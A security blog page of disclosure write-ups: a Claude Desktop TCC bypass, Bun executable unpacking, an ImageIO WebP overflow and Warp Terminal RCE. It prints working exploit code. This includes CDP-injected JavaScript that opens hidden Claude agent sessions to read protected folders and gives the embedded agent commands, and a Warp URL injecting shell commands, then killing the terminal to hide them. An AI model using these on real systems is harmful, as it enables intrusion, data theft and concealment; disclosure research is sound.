0day.gg

TCC Bypass in Claude Desktop for macOS

Sat, 24 Jan 2026 00:00:00 -0800


Product	Claude Desktop for macOS
Tested Version	1.1.673
Type	TCC Bypass
Status	Fixed (1.1.2321)

Summary#

The release of Cowork (Claude Desktop’s research preview, general-purpose agent mode for day-to-day tasks) got me interested in poking at Claude Desktop. It brings the workflow people learned to love in the Claude Code CLI into a GUI, and under the hood it ships a full VM image that boots and mounts host folders to provide tool access in agent mode.

While exploring how Cowork sessions are created and how folder access is wired up, I found a TCC bypass. An attacker with local code execution can enable Chromium remote debugging (--remote-debugging-port), connect via the Chrome DevTools Protocol (CDP), and execute JavaScript in Claude’s renderer to call Claude’s internal session and filesystem APIs. This effectively proxies access to TCC-protected folders through Claude Desktop’s already-granted permissions, without triggering any consent prompts.

What is TCC?#

Transparency, Consent, and Control (TCC) is macOS’s privacy framework. It restricts application access to sensitive resources: Documents, Downloads, Desktop, Camera, Microphone, Contacts, and more.

When an app first attempts to access a protected resource, macOS prompts the user for consent. If denied, the decision is enforced by macOS mandatory access control (TCC-backed sandbox policy) and file operations typically fail with EPERM (“Operation not permitted”). This applies even to processes running as root. For more detail on how the platform sandbox policy backstops TCC, see TCC and the macOS Platform Sandbox Policy.

TCC exists specifically to protect users after an attacker achieves code execution. The framework ensures that even compromised processes cannot silently access sensitive files. Apps that legitimately need folder access prompt the user once, and these grants persist in the TCC database. For more on TCC internals, see Firstline Privacy Defense by Osama Alhour and Threat of TCC Bypasses on macOS by AFINE.

When you attach a TCC-protected folder to Claude Desktop (for example, selecting ~/Documents for an agent session), macOS prompts you to grant Claude access. Once approved, Claude can read and write to that folder for all future sessions.

TCC consent prompt when attaching a protected folder to Claude Desktop.

Electron Fuses#

Electron apps inherit powerful debugging capabilities from both Node.js and Chromium. For security-sensitive apps, these should be disabled in production.

Many Electron TCC bypasses in the wild are “piggyback” style: the attacker finds a way to run attacker-controlled JavaScript via the embedded Node runtime (for example by abusing RunAsNode, NODE_OPTIONS, or Node’s inspector), then inherits the app’s TCC grants. Electron provides fuses: compile-time toggles that disable specific features.

Claude Desktop has the common Node-based piggyback paths locked down:

$ npx @electron/fuses read --app /Applications/Claude.app
Analyzing app: Claude.app
Fuse Version: v1
 RunAsNode is Disabled
 EnableCookieEncryption is Enabled
 EnableNodeOptionsEnvironmentVariable is Disabled
 EnableNodeCliInspectArguments is Disabled
 EnableEmbeddedAsarIntegrityValidation is Enabled
 OnlyLoadAppFromAsar is Enabled
 LoadBrowserProcessSpecificV8Snapshot is Disabled
 GrantFileProtocolExtraPrivileges is Enabled

This rules out the RunAsNode and NODE_OPTIONS vectors seen in other Electron TCC bypasses. But there’s a gap: --remote-debugging-port is a Chromium flag, not a Node.js flag, and Electron provides no fuse to disable it.

Flag	Controlled by `EnableNodeCliInspectArguments`
`--inspect`	Yes
`--inspect-brk`	Yes
`SIGUSR1`	Yes
`--remote-debugging-port`	No

From electron/fuses#2:

“NodeJS debugging flags can now be disabled by fuses […] Chromium debugging flags are a different beast that will have to be potentially dealt with separately (if it’s even possible).”

Window of Opportunity#

Claude Desktop can be launched with Chromium remote debugging enabled via --remote-debugging-port:

$ open -a Claude --args --remote-debugging-port=9222
$ curl -s http://localhost:9222/json
[ {
 "description": "",
 "devtoolsFrontendUrl": "/devtools/inspector.html?ws=...",
 "title": "Claude",
 "type": "page",
 "url": "https://claude.ai/...",
 "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/..."
} ]

This exposes a DevTools websocket for Claude’s claude.ai renderer target. An attacker can connect and use Runtime.evaluate to execute arbitrary JavaScript in the renderer context.

In a typical Electron exploit with Node.js access, you could just call require('fs') and read files directly. Claude’s renderer has nodeIntegration disabled, so there’s no require(). But Claude exposes IPC wrappers on the window object (the global namespace in browser JavaScript) that let the renderer request privileged operations from the main process. Let’s look at some of the useful APIs exposed.

Session Management#

window["claude.web"].LocalAgentModeSessions controls agent sessions:

const api = window["claude.web"].LocalAgentModeSessions;

// Normal session (visible in Cowork)
const res = await api.start({
 message: "test from injection!",
 userSelectedFolders: []
});

With a non-empty message, the session appears as a normal agent session in the Cowork tab:

A session created via CDP injection appears normally in the Cowork tab.

Creating a session with userSelectedFolders mounts those paths into the VM at /sessions/*/mnt/, inheriting Claude’s TCC permissions. But there’s a trick to avoid leaving a visible trace: create the session with an empty message, then immediately stop and archive it. The session won’t appear in the sidebar, even with the Archived filter enabled. Yet it remains fully functional via the APIs, giving us invisible access to the mounted folder.

const api = window["claude.web"].LocalAgentModeSessions;

// Attacker session (invisible)
const res = await api.start({
 message: "",
 userSelectedFolders: ["/Users/victim/Documents"]
});

// Wait for session initialization
await new Promise(r => setTimeout(r, 2000));

// Stop and archive (hides from UI)
await api.stop(res.sessionId);
await api.archive(res.sessionId);

Filesystem Access#

window["claude.web"].FileSystem provides filesystem operations:

const fs = window["claude.web"].FileSystem;

// List directory contents
const listing = await fs.listFilesInFolder(sessionId, "/Users/victim/Documents");

// Read file contents
const content = await fs.readLocalFile(sessionId, "/Users/victim/Documents/secret.txt");

For non-text MIME types, readLocalFile() returns the file bytes as base64 in content.content.

Write + Exec Access via VM#

The VM mount at /sessions/*/mnt/ is read-write. More importantly, once a session is created the attacker can give arbitrary instructions to the embedded Claude Code instance running inside the VM. That can be used to read, write, and execute within the VM context while operating on the mounted TCC-protected folders.

await api.start({ 
 message: "Write 'pwned' to /sessions/*/mnt/Documents/test.txt",
 userSelectedFolders: ["/Users/victim/Documents"] 
});

Putting It Together#

Attack Flow#

Launch Claude Desktop with CDP enabled: open -a Claude --args --remote-debugging-port=9222
Fetch the CDP target list from http://localhost:9222/json and select the entry for Claude’s main renderer (in CDP, a “target” is a debuggable page context; we want the one whose url contains claude.ai)
Connect to that target’s webSocketDebuggerUrl and execute JavaScript via Runtime.evaluate
Create an agent session with userSelectedFolders pointing to a TCC-protected folder
Wait for session initialization, then stop and archive it (session stays hidden in the UI)
Use FileSystem.listFilesInFolder() and FileSystem.readLocalFile() to list and read files

Proof of Concept#

PoC: poc.py (GitHub)

git clone https://github.com/xpcmdshell/claude-tcc-bypass && cd claude-tcc-bypass
open -a Claude --args --remote-debugging-port=9222

# List files in a TCC-protected folder
uv run poc.py --list ~/Documents/

# Read a file from the listing (non-text files return base64; --decode to decode)
uv run poc.py --read ~/Documents/secrets/api_keys.txt --decode

Demo#

The screenshot below shows iTerm2 without Files and Folders permission failing to access ~/Documents, while the CDP-based PoC can list and read the same path by proxying through Claude’s already-granted access.

iTerm2 (no TCC grant) fails to access ~/Documents; the PoC succeeds via Claude.

Impact#

An attacker with local code execution can:

Read any file in TCC-protected folders that Claude has been granted access to
Write to those folders via the VM’s mounted filesystem
Enumerate directory contents without prior knowledge of filenames
Perform all operations invisibly (archived sessions don’t appear in Claude’s UI)

This bypasses macOS’s TCC protection model for any folder Claude has access to. Users who have granted Claude access to Documents, Downloads, or Desktop during normal agent mode usage are vulnerable.

Prior Art#

For context, here are some similar TCC bypasses in entitled applications:

Apple System Components#

CVE	Component	Description
CVE-2024-44131	FileProvider	TCC bypass via symlinks
CVE-2024-40855	diskarbitrationd	TCC bypass via disk mounting

These require local code execution and piggyback on entitled system components, the same pattern as this vulnerability.

Third-Party Applications#

CVE	Application	Description
CVE-2025-9190	Cursor	TCC bypass via `RunAsNode` fuse
CVE-2024-45599	Cursor	TCC bypass via DyLib injection (camera/microphone)
CVE-2025-22136	Tabby Terminal	TCC bypass via Node fuses
CVE-2025-8672	GIMP	TCC bypass via bundled Python
CVE-2025-53811	Mosh-Pro	TCC bypass via `RunAsNode` fuse
CVE-2025-53813	Nozbe	TCC bypass via `RunAsNode` fuse
N/A	VS Code	TCC bypass via `RunAsNode` fuse

CERT Polska documented six TCC bypasses in August 2025, all discovered by Karol Mazurek from AFINE.

The electroniz3r tool by Wojciech Reguła automates exploitation of Electron TCC bypasses and was presented at DEF CON 31.

Timeline#

Date	Event
2026-01-12	Vulnerability discovered
2026-01-22	Reported to Anthropic via HackerOne
2026-01-23	Report closed (Informative/WontFix)
2026-01-24	Public disclosure

References#

Electron Fuses Documentation
electron/fuses#2: Chromium debugging flags
Firstline Privacy Defense (TCC Paper) - Osama Alhour
Threat of TCC Bypasses on macOS - AFINE
CERT Polska: Six TCC Bypasses - Karol Mazurek
electroniz3r - Wojciech Reguła
Chrome DevTools Protocol
Proof of Concept

Dissecting Droid: Reversing Bun Executables

Mon, 12 Jan 2026 00:00:00 -0800

Motivation#

I was bouncing around various CLI coding agent harnesses (Claude Code, OpenCode, Droid by Factory, etc.). Droid appeared to be closed source, and I was curious about the implementation. I opened it in Binary Ninja and noticed references to V8 and some embedded JS. After poking around a bit more, I realized it was built with Bun.

I went to the Bun source to see how it packages standalone executables. Depending on build flags, you can recover the original project structure and source files directly. In Droid’s case: a few hundred source files and a handful of embedded assets.

Creating a Target#

Before pulling apart Droid, let’s understand the format with a minimal test case.

Here’s a tiny program to use as a test case:

// index.ts
import { dep } from "./dep";
console.log("INDEX_MAGIC:" + dep());

// dep.ts
export function dep() {
 return "DEP_MAGIC";
}

Compile it:

bun build --compile index.ts --outfile sample

How Bun Embeds Code#

The implementation is in src/StandaloneModuleGraph.zig. When you run bun build --compile, Bun:

Bundles your code (resolving imports, tree-shaking, etc.)
Generates sourcemaps for each output file
Serializes everything into a single blob
Injects that blob into a copy of the Bun executable

At runtime, Bun reads this blob to reconstruct a virtual filesystem.

Blob Layout#

The trailer is a fixed marker at the very end. Immediately before it is the Offsets struct, which tells you where everything else lives:

// src/StandaloneModuleGraph.zig
pub const Offsets = extern struct {
 byte_count: usize = 0, // total size of the blob (excluding trailer)
 modules_ptr: bun.StringPointer = .{}, // offset + length of the module array
 entry_point_id: u32 = 0, // index into module array
 compile_exec_argv_ptr: bun.StringPointer = .{},
 flags: Flags = .{},
};

A StringPointer is { offset: u32, length: u32 }: an offset into the blob and a byte length.

The Module Array#

modules_ptr points to an array of CompiledModuleGraphFile structs:

// src/StandaloneModuleGraph.zig
pub const CompiledModuleGraphFile = struct {
 name: Schema.StringPointer = .{}, // virtual path (e.g. "/$bunfs/root/index.js")
 contents: Schema.StringPointer = .{}, // bundled JS/TS output
 sourcemap: Schema.StringPointer = .{}, // serialized sourcemap (optional)
 bytecode: Schema.StringPointer = .{}, // precompiled bytecode (optional)
 encoding: Encoding = .latin1, // .binary, .latin1, or .utf8
 loader: bun.options.Loader = .file, // file type
 module_format: ModuleFormat = .none, // .none, .esm, or .cjs
 side: FileSide = .server, // .server or .client
};

Each entry describes one embedded file. The name field contains the virtual path that Bun uses internally to reference the file.

Virtual Paths#

Bun doesn’t store your original filesystem paths directly. Instead, it prefixes everything with a virtual filesystem root:

POSIX: /$bunfs/
Windows: B:\~BUN\

So if you compiled src/index.ts, the embedded name might be /$bunfs/root/src/index.js. This prefix is defined in StandaloneModuleGraph.zig:

pub const base_path = switch (Environment.os) {
 else => "/$bunfs/",
 .windows => "B:\\~BUN\\",
};

Loader Types#

The loader field indicates what kind of file this is:

Value	Loader	Description
0	jsx	JSX file
1	js	JavaScript
2	ts	TypeScript
3	tsx	TSX file
4	css	CSS
5	file	Binary asset
6	json	JSON
7	jsonc	JSON with comments
8	toml	TOML
9	wasm	WebAssembly
10	napi	Native addon
…	…	(and more)

For JS/TS files, contents holds the bundled output. For assets (loader = file), it’s the raw bytes.

Where the Blob Lives#

Bun stores the blob differently on each platform.

Mach-O (macOS)#

The blob lives in a dedicated section:

Segment: __BUN
Section: __bun

The section starts with an 8-byte size prefix (uint64_t), followed by the blob data (from c-bindings.cpp):

struct BlobHeader {
 uint64_t size;
 uint8_t data[];
};
extern "C" BlobHeader __attribute__((section("__BUN,__bun"))) BUN_COMPILED = { 0, 0 };

To extract: read the __BUN,__bun section, skip the size prefix, then read size bytes of blob data.

The size prefix changed between Bun versions:

Bun < 1.3.4: 4-byte u32 size prefix
Bun >= 1.3.4: 8-byte u64 size prefix (changed in #25377 for bytecode alignment)

If you’re writing an extractor, you’ll need to handle both formats or detect which you’re dealing with.

PE (Windows)#

The blob lives in a section named .bun. Same format as Mach-O: size prefix followed by blob data. Same version split applies (4-byte before Bun 1.3.4, 8-byte after).

// src/bun.js/bindings/c-bindings.cpp
pe_section_size = (uint64_t*)sectionData;
pe_section_data = sectionData + sizeof(uint64_t);

ELF (Linux)#

ELF is different. The blob is appended to the end of the file (not in a named section). Bun scans backwards from EOF looking for the trailer:

// src/StandaloneModuleGraph.zig
std.posix.lseek_END(self_exe.cast(), -4096) catch return null;
// ... scan for trailer ...
var end = @as([]u8, &trailer_bytes).ptr + read_amount - @sizeOf(usize);
const total_byte_count: usize = @as(usize, @bitCast(end[0..8].*));

The last 8 bytes before the trailer contain the total byte count. Work backwards from there to find the Offsets struct and module data.

Parsing the Blob#

Find the trailer ("\n---- Bun! ----\n") at the end
Read the 32 bytes before it as Offsets
Use modules_ptr to locate the module array
Iterate CompiledModuleGraphFile[], slicing out name/contents/sourcemap

Pseudocode:

TRAILER = b"\n---- Bun! ----\n"

def parse_blob(data: bytes):
 # Validate trailer
 assert data[-16:] == TRAILER

 # Parse Offsets (32 bytes before trailer)
 offsets_bytes = data[-16 - 32 : -16]
 byte_count = struct.unpack("<Q", offsets_bytes[0:8])[0]
 modules_offset = struct.unpack("<I", offsets_bytes[8:12])[0]
 modules_length = struct.unpack("<I", offsets_bytes[12:16])[0]
 entry_point_id = struct.unpack("<I", offsets_bytes[16:20])[0]
 # ... etc

 # Parse module array
 module_size = 36 # sizeof(CompiledModuleGraphFile)
 module_count = modules_length // module_size
 modules = []

 for i in range(module_count):
 offset = modules_offset + i * module_size
 mod = parse_module(data, offset)
 modules.append(mod)

 return modules

Sourcemap Format#

The bundled output is useful, but the real prize is recovering original source files. Bun includes sourcemaps for stack traces and debugging, and those sourcemaps embed the original source content (zstd-compressed).

The sourcemap field in each CompiledModuleGraphFile points to Bun’s serialized sourcemap format, a compact binary structure (not standard JSON):

// src/StandaloneModuleGraph.zig
pub const SerializedSourceMap = struct {
 bytes: []const u8,

 pub const Header = extern struct {
 source_files_count: u32, // number of original source files
 map_bytes_length: u32, // length of VLQ mapping data
 };
 // ...
};

Sourcemap Layout#

Extracting Original Sources#

To recover the original files:

Read the header to get source_files_count
Read N StringPointers for file names
Read N StringPointers for compressed contents
For each file:
- Slice out the name using its StringPointer
- Slice out the compressed content using its StringPointer
- Decompress with zstd

def extract_sourcemap(data: bytes):
 # Header
 source_count = struct.unpack("<I", data[0:4])[0]
 map_length = struct.unpack("<I", data[4:8])[0]

 # Pointer arrays start after header
 names_start = 8
 contents_start = names_start + source_count * 8

 files = []
 for i in range(source_count):
 # Name pointer
 name_ptr = parse_string_pointer(data, names_start + i * 8)
 name = data[name_ptr.offset : name_ptr.offset + name_ptr.length].decode()

 # Content pointer (zstd compressed)
 content_ptr = parse_string_pointer(data, contents_start + i * 8)
 compressed = data[content_ptr.offset : content_ptr.offset + content_ptr.length]
 content = zstd.decompress(compressed)

 files.append((name, content))

 return files

The Tool#

I wrote bun-unpack to handle the platform differences, version quirks, and path normalization:

# Install
uv tool install git+ssh://git@github.com/xpcmdshell/bun-unpack.git

# Recover original sources (default)
bun-unpack ./sample -o out/

# Extract bundled output + sourcemaps instead
bun-unpack ./sample --bundle -o out/

Two modes:

Default: Recover original project tree from embedded sourcemaps
--bundle: Extract the bundled JS output + write .map files

Caveats#

Not every Bun executable includes sourcesContent. If the build omitted it, source recovery won’t work, but --bundle still extracts the bundled output.
Sourcemap paths can include absolute paths from the build machine, URL prefixes (webpack://), or traversal sequences. Normalize carefully if writing to disk.

Back to Droid#

So what did extraction actually yield?

❯ tree
.
├── acp
│ ├── ACPAdapter.ts
│ ├── protocol
│ │ └── translator.ts
│ ├── session
│ │ ├── ACPSessionManager.ts
│ │ └── mcpConfigMerge.ts
│ ├── tools
│ │ ├── permissions.ts
│ │ └── utils.ts
│ └── utils
│ └── nodeStreams.ts
├── agent
│ ├── autonomy.ts
│ ├── file-edit
│ │ ├── edit.ts
│ │ └── utils.ts
│ ├── messaging.ts
│ ├── tool-confirmation.ts
│ ├── tools.ts
│ └── warmup.ts
├── api
│ ├── config.ts
│ ├── init.ts
│ └── session.ts
├── app.tsx
├── auth
│ ├── identity.ts
│ ├── stored
│ │ └── utils.ts
│ └── workos
│ └── utils.ts
│
│ ... snip ...
│
70 directories, 381 files

A full TypeScript codebase. Original project structure, intact.

bun-unpack is on GitHub if you want to try it yourself.

CVE-2022-26711: Integer Overflow in Apple's ImageIO Framework

Wed, 01 Jan 2025 12:00:00 -0800

Motivation#

This is a writeup I’ve been meaning to publish for a while. Back in mid 2021, I was hunting for bugs in ImageIO. I’d been following some of the work Project Zero had done on Apple’s image parsing, particularly Samuel Groß’s Fuzzing ImageIO research from 2020, and figured it was worth pointing my own fuzzer at it.

If you’re not familiar, ImageIO is Apple’s image parsing framework. It handles decoding for essentially every image format on macOS and iOS. Safari, Preview, Mail, Messages, Quick Look, even Finder thumbnails. They all funnel through ImageIO. From an attacker’s perspective, this is about as good as it gets. Get a victim to view your malicious image (browse to a page, preview an attachment, receive a message) and you’ve got code execution. No weird user interaction required.

Fuzzing Setup#

I threw together a simple harness, and wired it up to a custom fuzzer written on top of libAFL. I used Frida for binary-only instrumentation of the ImageIO library, and wrote a structure-aware mutator for WebP. At some point I need to open source the mutator, but it needs a lot of cleanup yet. For the initial corpus, I grabbed samples from Mozilla’s fuzzdata repository, which has been since decomissioned. The modern replacement is corpus-replicator. I didn’t need anything fancy, just enough to get the fuzzer past the format checks and into the interesting parsing code.

The Crash#

The fuzzer produced a handful of crashes, most of which weren’t interesting. But one stood out:

Process 31484 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x105ed0000)
 frame #0: 0x00000001c2cc1eb4 libsystem_platform.dylib`_platform_memset_pattern16 + 84

A crash in a memset call! This seems very promising. Image parsers do a lots of allocating, moving chunks around, etc.

Triage#

This analysis was done against ImageIO from the dyld shared cache in macOS Monterey 12.0.1. Addresses and code likely differ on newer versions.

The crash was in _platform_memset_pattern16, called from somewhere in ImageIO’s WebP decoder. I pulled up the disassembly in Binja and started tracing.

The Allocation#

Starting in WebPReadPlugin::copyImageBlockSet, I found where the buffer gets allocated:

_0x189348ba0:
 ldr w8, [x19, #0x114] ; canvas height
 mul w9, w8, w20
 ucvtf d8, w9
 ldr s10, [x19, #0x110]
 ucvtf d0, w8
 fadd d1, d0, d8
 ldr s2, [x19, #0xf4]
 ucvtf d2, d2
 fsub d3, d2, d8
 fcmp d1, d2
 fcsel d9, d3, d0, gt
 ldr w9, [x19, #0x118] ; rowbytes (align16(width << 2))
 mul w27, w9, w8 ; integer overflow here
 ldr x1, [x19, #0x160]
 ldr x3, [x23] ; _kImageMalloc_WEBP_Data
 add x2, sp, #0x40
 mov x0, x27 ; result cast to 64-bit for malloc
 mov x4, #0
 mov w5, #0
 bl __ImageIO_Malloc

ImageIO multiplies rowbytes by canvas_height to figure out how much to allocate. Both values get loaded into 32-bit registers, and the result goes into w27, also 32-bit. No overflow check. When it moves the result to x0 for the malloc call, it zero-extends to 64-bit, but by then the damage is done.

The rowbytes value is derived from the canvas width as align16(width << 2), where align16 rounds up to 16-byte alignment. Both canvas width and height come straight from the VP8X chunk in the file, so we control them completely.

Building the vImage_Buffer#

After the allocation, we enter WebPReadPlugin::decodeAnimatedWebP, which handles files with the animation feature bit set. This function builds a vImage_Buffer structure:

_0x1893487cc:
 ldr x10, [sp, #0x30]
 mov w8, w10
 stp x19, x8, [sp, #0x88] ; buf.data, buf.height
 mov w9, w21
 stp x9, x23, [sp, #0x98] ; buf.width, buf.rowbytes
 tbz w28, #0, 0x18934885c

buf.data gets the pointer from _ImageIO_Malloc, our undersized buffer. But buf.height, buf.width, and buf.rowbytes get populated with the original values from the file, not the truncated allocation size.

This structure then gets passed to vImageBufferFill_ARGB8888 along with a pointer to the background color from the ANIM chunk. That’s 4 bytes we fully control.

The Write Loop#

vImageBufferFill_ARGB8888 just preps a call to vFillBy16:

vFillBy16(dstbuf: buf.data, height: buf.height, chunklen: buf.width << 2, rowbytes: buf.rowbytes, fillpattern: &bgcolor)

Inside vFillBy16, we find the loop that does the actual writing:

_0x186efb254:
 cbz x1, 0x186efb288 ; skip if height is 0
 mov x19, x4 ; fillpattern
 mov x20, x3 ; rowbytes
 mov x21, x2 ; chunklen
 mov x22, x1 ; height (loop counter)
 mov x23, x0 ; write destination

_0x186efb26c:
 mov x0, x23 ; dst
 mov x1, x19 ; pattern
 mov x2, x21 ; len
 bl _memset_pattern16 ; fill one row
 add x23, x23, x20 ; dst += rowbytes
 subs x22, x22, #0x1 ; decrement height
 b.ne 0x186efb26c

Or as pseudocode:

if (height != 0) {
 void* write_dst = dstbuf;
 do {
 memset_pattern16(write_dst, fillpattern, chunklen);
 write_dst += rowbytes;
 height--;
 } while (height != 0);
}

The loop runs height times, writing chunklen bytes (width * 4) each iteration and advancing the pointer by rowbytes. None of these values were truncated by the overflow. Only the allocation size was. So we’re iterating over the full intended canvas dimensions, writing our controlled background color bytes way past the end of the tiny buffer we actually got.

Attacker Control#

I checked how much of this I could influence from the file (see the WebP container spec for chunk definitions):

Canvas dimensions: Fully controlled via the VP8X chunk
Fill pattern: The 4-byte background color from the ANIM chunk

The ANIM chunk is what triggers the animated code path and provides the fill color. So I control both the overflow condition and the bytes being written out of bounds.

You’ll note from the above that the loop goes absolutely nuts, its a textbook wildcopy. Initially this seems not interesting, as the payload “should” always write way past the end of the allocation and hit unmapped pages. However, depending on the scenario, it may be possible to halt the write loop before it crashes using a technique like the one Chris Evans described in Taming the wild copy: Parallel Thread Corruption. If parsing happens in a background thread, you could race to stop the process mid-corruption and exploit the damaged heap state before it hits unmapped memory. Taming this would rely on other primitives.

PoC#

I minimized the crash input down to a 262-byte WebP. The PoC file, harness, and browser trigger are available in the GitHub repository. The harness loads the image and forces a software render:

#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#import <CoreGraphics/CoreGraphics.h>
#import <ImageIO/ImageIO.h>

extern void *CGContextGetRenderingState(CGContextRef);
extern bool CGRenderingStateSetAllowsAcceleration(void *, bool);

int main(int argc, char **argv) {
 NSData *data = [NSData dataWithContentsOfFile:@(argv[1])];
 NSImage *img = [[NSImage alloc] initWithData:data];
 CGImageRef cgImg = [img CGImageForProposedRect:nil context:nil hints:nil];

 if (cgImg) {
 size_t w = CGImageGetWidth(cgImg), h = CGImageGetHeight(cgImg);
 CGColorSpaceRef cs = CGColorSpaceCreateDeviceRGB();
 CGContextRef ctx = CGBitmapContextCreate(0, w, h, 8, 0, cs, 1);
 CGRenderingStateSetAllowsAcceleration(
 CGContextGetRenderingState(ctx), false);
 CGContextDrawImage(ctx, CGRectMake(0, 0, w, h), cgImg);
 }
}

Compiling the harness:

clang harness.m -framework ImageIO -framework Foundation -framework CoreGraphics -framework AppKit -o harness
./harness poc.webp

For remote delivery, you can just embed the image in a page:

<html>
 <body><img src="poc.webp"></body>
</html>

Any browser on a vulnerable macOS or iOS device will crash when it tries to render the page. I may have crashlooped my iPhone during testing at least once. Oops!

Disclosure Timeline#

Date	Event
Dec 11, 2021	Case Opened with ZDI
February 24, 2022	Case reviewed, sent to Apple
May 26, 2022	Fixed in macOS 12.4 / iOS 15.5

Tested on macOS Monterey 12.0.1 and iOS 15.1. Anything before macOS 12.4 or iOS 15.5 is vulnerable.

References#

CVE-2024-41997: RCE in Warp Terminal

Fri, 20 Dec 2024 10:04:55 -0800

Motivation#

Earlier this year, I had decided to take a look at Warp Terminal. Warp promises to bring the power of an AI assistant to your conventional terminal workflow. Privacy concerns aside, feature rich terminal emulators always bring with them a host of excellent attack surface. Finding a way to achieve remote code execution via a terminal emulator is a fantastic (read: flashy) way to achieve initial access during a Red Team operation, and the installation population (power users) would likely overlap with targets who have valuable internal access. After digging in, I was able to walk away with a very effective bug.

In this post we’ll break down choosing attack surface, identifying the bug, and methods used for exploitation.

Attack Surface#

URL Schemes#

One of my first stops in identifying attack surface for a new target is to simply consult the documentation. One of the first features that caught my eye was the custom URL scheme which allows the user to invoke a small set of features in Warp by clicking on a link or button containing special parameters.

Indeed listing the registered URI schemes on the host shows Warp:

$ /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -B3 "bindings:.*:"

[SNIP]
--
bundle: Warp (0x15d8)
flags: url-type (0000000000000040)
roles: Viewer (0000000000000002)
bindings: warp:
--
bundle: Warp (0x1600)
flags: url-type (0000000000000040)
roles: Viewer (0000000000000002)
bindings: warp:
--

The docs list 3 main functions which can be invoked through the URL scheme:

Open a new Window
Open a new Tab
Open Launch Configuration

The “Launch Configuration” feature immediately stuck out to me, as it sounded like a way to potentially remotely deliver configuration parameters to the user via a clickable link. I began reverse engineering the app in hopes of understanding what a Launch Configuration supported and how it could potentially be exploited for code execution. While I didn’t end up finding a bug in that functionality, I stumbled into something else in the URL scheme handler which was exploitable.

Bug Discovery#

Disassembly#

The app is written primarily in Rust, so the disassembly can be a bit messy. The handler entrypoint for the custom warp:// url scheme lies in warp::uri::handle_incoming_uri. Within, the incoming URL is marshalled into a warp::uri::Action via the FromStr trait. In this FromStr implementation, we can identify branches for the supported actions. The comparisons are broken up and optimized, but we can see clearly that it has conditionals for the /new_window and /new_tab actions. However, we find an additional branch for an action not mentioned on the docs page from earlier:

There’s a hardcoded case for /docker/open_subshell. Now that’s interesting.

Warp Docker Extension#

Crawling back through the documentation, we can reasonably guess that this must be related to the Warp Docker Extension. As the docs note:

Warp’s Docker extension makes it more convenient to open Docker containers in Warp. With the extension, you can click to open any Docker container in a Warpified subshell, without manually running docker exec or typing out lengthy container IDs.

This makes sense. The user would click a button inside the Docker app to launch a shell for a given container inside Warp, and the parameters specifying which one would be passed in via the URL. Let’s try invoking this functionality ourselves and see how robust it is.

Testing the Integration#

Let’s start by getting a dummy Docker container running to shell into:

➜ ~ docker run -it ubuntu:latest /bin/bash

I’ll leave that running in the background. After testing a bit with the Docker extension and reading debug logs, we come to understand that the parameters we need to invoke open_subshell look like so: warp://action/docker/open_subshell?container_id=d21d266c616a&shell=bash&user=root

The required parameters are container_id and shell. Notably, the user parameter is optional. If not supplied, the shell will launch as the default user for the container.

We can simulate the delivery scenario by embedding this URL in a webpage as a clickable link, and hosting it with python’s http.server module.

Upon clicking the link, Warp receives the input and launches a subshell for us.

Notably, the informational output contains the Docker command used to launch the subshell. This is confirmed by using ProcessMonitor to catch the Endpoint Security event:

{
 "event": "ES_EVENT_TYPE_NOTIFY_EXEC",
 "timestamp": "2024-12-28 22:06:34 +0000",
 "process": {
 "pid": 99228,
 "name": "docker",
 "path": "/Applications/Docker.app/Contents/Resources/bin/docker",
 "uid": 501,
 "architecture": "Apple Silicon",
 "arguments": [
 "docker",
 "exec",
 "-it",
 "d21d266c616a",
 "bash"
 ],
 "ppid": 99035,
 "rpid": 94905,
 "ancestors": [
 94905,
 1
 ],
 "signing info (reported)": {
 "csFlags": 570495761,
 "platformBinary": 0,
 "signingID": "docker",
 "teamID": "9BNSXJN65R",
 "cdHash": "3C35FED4C4007AE09BD99C373127326708E8AC7E"
 },
 "signing info (computed)": {
 "teamID": "9BNSXJN65R",
 "signatureID": "docker",
 "signatureStatus": 0,
 "signatureSigner": "Developer ID",
 "signatureAuthorities": [
 "Developer ID Application: Docker Inc (9BNSXJN65R)",
 "Developer ID Certification Authority",
 "Apple Root CA"
 ]
 }
 }
}

By fuzzing these couple parameters, we quickly find that the command string is not properly sanitized! One can inject into the command string via the shell parameter, resulting in a URL that looks like this: warp://action/docker/open_subshell?container_id=d21d266c616a&shell=bash%27%20%26%20id>/tmp/hax Opening this URL triggers the docker command, and we can spot the unmatched quote that results from our injected string.

Exploitation#

We simply need to balance these quotes again and ensure that they don’t interfere with our injected command. I elected to close the quotes and hide them after a comment (#), like so:

warp://action/docker/open_subshell?container_id=d21d266c616a&shell=bash%27%20%26%20id>/tmp/hax%20%23%27

The shell parameter decodes to the following:

bash' & id>/tmp/hax #'

The injected command process launches in the background, and we can observe successful execution by cat’ing the output file:

Knowing the Unknowable#

There’s an obvious issue with this attack scenario, however. We won’t have a valid container ID to embed in the URL payload. The great news is that we don’t have to. The container_id parameter is restricted to hexadecimal characters (matching the charset of a typical Docker container ID), but the container ID is not validated before the command string is launched. This means that our injected command will run even if we supply an invalid container ID.

Full Exploit#

Putting all of this together, we arrive at the full exploit:

<html>
 <body>
 <a href="warp://action/docker/open_subshell?container_id=0&shell=echo%27%20%60id>/tmp/hax%26%26killall%20stable%60%20%27&user=root">click me</a>
 </body>
</html>

The shell parameter decodes to the following:

echo' `id>/tmp/hax&&killall stable` '

While the user would typically watch the payload command execute on their screen, we can kill the Warp terminal process (stable) after our payload dispatches in the subshell. This can prevent them from seeing what command is executing, and Warp will not properly restore the window on reopen, so they will not see the command there either.

Demo#

A demo, for your entertainment:

Fixes#

Upon reporting, the issue was fixed swiftly by the Warp team and made available to users after about a week. The shell parameter now undergoes some sanitization, and launching Docker container subshells now require users to click a confirmation button to proceed. The version containing the fix is v0.2024.07.16.08.02. CVE details are available here.

Should you wish to experiment around with this bug, you can download the last vulnerable stable release of Warp here. Note that the application may auto-update to the latest version, so disable internet access or neuter the update mechanism for your own sanity while tinkering.

Bypassing TCC With iTerm2

Wed, 08 Dec 2021 00:00:00 +0000

Motivation#

